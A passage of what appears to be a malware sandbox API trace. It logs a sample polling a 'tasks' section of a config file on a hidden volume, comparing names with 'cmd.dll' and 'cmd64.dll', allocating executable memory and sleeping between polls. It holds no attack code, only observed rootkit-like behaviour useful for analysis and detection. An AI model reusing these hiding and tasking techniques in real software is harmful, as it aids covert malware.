_Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.080] KeEnterCriticalRegion () [0126.080] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.080] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.080] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.080] KeLeaveCriticalRegion () [0126.080] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.081] KeEnterCriticalRegion () [0126.081] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.081] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0126.081] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.081] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.081] KeLeaveCriticalRegion () [0126.081] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.081] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.081] KeEnterCriticalRegion () [0126.081] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.081] ExFreePoolWithTag (P=0xfffffa800cecb230, Tag=0x0) [0126.081] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.081] KeLeaveCriticalRegion () [0126.081] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.081] ReleaseMutex (hMutex=0xf0) returned 1 [0126.081] Sleep (dwMilliseconds=0x927c0) [0126.095] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0126.095] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.095] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0126.095] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.095] KeEnterCriticalRegion () [0126.095] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.095] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.095] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.095] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.095] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0126.095] IdePortDispatch () returned 0x103 [0126.095] KeWaitForMutexObject () returned 0x0 [0126.095] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.095] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.095] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.095] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.095] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.095] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003b79140 [0126.095] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.095] KeLeaveCriticalRegion () [0126.095] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.095] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.095] KeEnterCriticalRegion () [0126.095] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.095] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.095] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.095] KeLeaveCriticalRegion () [0126.095] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.095] KeEnterCriticalRegion () [0126.095] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.095] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.095] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.096] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.096] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0126.096] IdePortDispatch () returned 0x103 [0126.096] KeWaitForMutexObject () returned 0x0 [0126.096] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.096] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.096] KeLeaveCriticalRegion () [0126.096] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.096] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.096] KeEnterCriticalRegion () [0126.096] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.096] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003483000 [0126.096] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.096] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.096] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.096] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.096] IdePortDispatch () returned 0x103 [0126.096] KeWaitForMutexObject () returned 0x0 [0126.096] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.096] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.096] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.096] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.096] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.096] IdePortDispatch () returned 0x103 [0126.096] KeWaitForMutexObject () returned 0x0 [0126.097] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.097] KeLeaveCriticalRegion () [0126.097] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.097] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.097] KeEnterCriticalRegion () [0126.097] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.097] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.097] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.097] KeLeaveCriticalRegion () [0126.097] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.097] KeEnterCriticalRegion () [0126.097] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.097] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0126.097] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac65e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.097] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.097] KeLeaveCriticalRegion () [0126.097] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.097] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.097] KeEnterCriticalRegion () [0126.097] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.097] ExFreePoolWithTag (P=0xfffffa8003b79140, Tag=0x0) [0126.097] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.097] KeLeaveCriticalRegion () [0126.097] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.097] ReleaseMutex (hMutex=0xf0) returned 1 [0126.098] Sleep (dwMilliseconds=0x927c0) [0126.111] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0126.111] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.111] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0126.111] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.111] KeEnterCriticalRegion () [0126.111] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.111] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.111] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.111] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.111] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0126.111] IdePortDispatch () returned 0x103 [0126.111] KeWaitForMutexObject () returned 0x0 [0126.112] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.112] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.112] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.112] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.112] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.112] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003b79140 [0126.112] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.112] KeLeaveCriticalRegion () [0126.112] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.112] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.112] KeEnterCriticalRegion () [0126.112] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.112] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.112] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.112] KeLeaveCriticalRegion () [0126.112] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.112] KeEnterCriticalRegion () [0126.112] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.112] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.112] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.112] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.112] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0126.112] IdePortDispatch () returned 0x103 [0126.112] KeWaitForMutexObject () returned 0x0 [0126.112] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.112] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.112] KeLeaveCriticalRegion () [0126.112] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.112] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.112] KeEnterCriticalRegion () [0126.112] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.112] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034a9000 [0126.112] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.112] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.112] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.113] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.113] IdePortDispatch () returned 0x103 [0126.113] KeWaitForMutexObject () returned 0x0 [0126.113] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.113] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.113] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.113] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.113] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.113] IdePortDispatch () returned 0x103 [0126.113] KeWaitForMutexObject () returned 0x0 [0126.113] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.113] KeLeaveCriticalRegion () [0126.113] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.114] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.114] KeEnterCriticalRegion () [0126.114] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.114] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.114] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.114] KeLeaveCriticalRegion () [0126.114] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.114] KeEnterCriticalRegion () [0126.114] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.114] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0126.114] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.114] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.114] KeLeaveCriticalRegion () [0126.114] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.114] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.114] KeEnterCriticalRegion () [0126.114] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.114] ExFreePoolWithTag (P=0xfffffa8003b79140, Tag=0x0) [0126.114] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.114] KeLeaveCriticalRegion () [0126.114] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.114] ReleaseMutex (hMutex=0xf0) returned 1 [0126.114] Sleep (dwMilliseconds=0x927c0) [0126.128] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0126.129] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.129] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0126.129] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.129] KeEnterCriticalRegion () [0126.129] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.129] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.129] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.129] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.129] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0126.129] IdePortDispatch () returned 0x103 [0126.129] KeWaitForMutexObject () returned 0x0 [0126.129] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.129] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.129] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.129] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.129] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.129] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf99d0 [0126.129] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.129] KeLeaveCriticalRegion () [0126.129] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.129] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.129] KeEnterCriticalRegion () [0126.129] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.129] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.129] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.129] KeLeaveCriticalRegion () [0126.129] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.129] KeEnterCriticalRegion () [0126.129] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.129] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.129] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.129] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.129] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0126.129] IdePortDispatch () returned 0x103 [0126.129] KeWaitForMutexObject () returned 0x0 [0126.130] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.130] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.130] KeLeaveCriticalRegion () [0126.130] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.130] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.130] KeEnterCriticalRegion () [0126.130] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.130] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034ae000 [0126.130] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.130] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.130] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.130] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.130] IdePortDispatch () returned 0x103 [0126.130] KeWaitForMutexObject () returned 0x0 [0126.130] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.130] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.130] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.130] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.130] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.130] IdePortDispatch () returned 0x103 [0126.130] KeWaitForMutexObject () returned 0x0 [0126.130] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.130] KeLeaveCriticalRegion () [0126.130] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.131] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.131] KeEnterCriticalRegion () [0126.131] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.131] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.131] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.131] KeLeaveCriticalRegion () [0126.131] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.131] KeEnterCriticalRegion () [0126.131] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.131] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0126.131] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac65e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.131] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.131] KeLeaveCriticalRegion () [0126.131] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.131] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.131] KeEnterCriticalRegion () [0126.131] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.131] ExFreePoolWithTag (P=0xfffffa8003bf99d0, Tag=0x0) [0126.131] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.131] KeLeaveCriticalRegion () [0126.131] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.131] ReleaseMutex (hMutex=0xf0) returned 1 [0126.131] Sleep (dwMilliseconds=0x927c0) [0126.145] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0126.145] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.145] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, 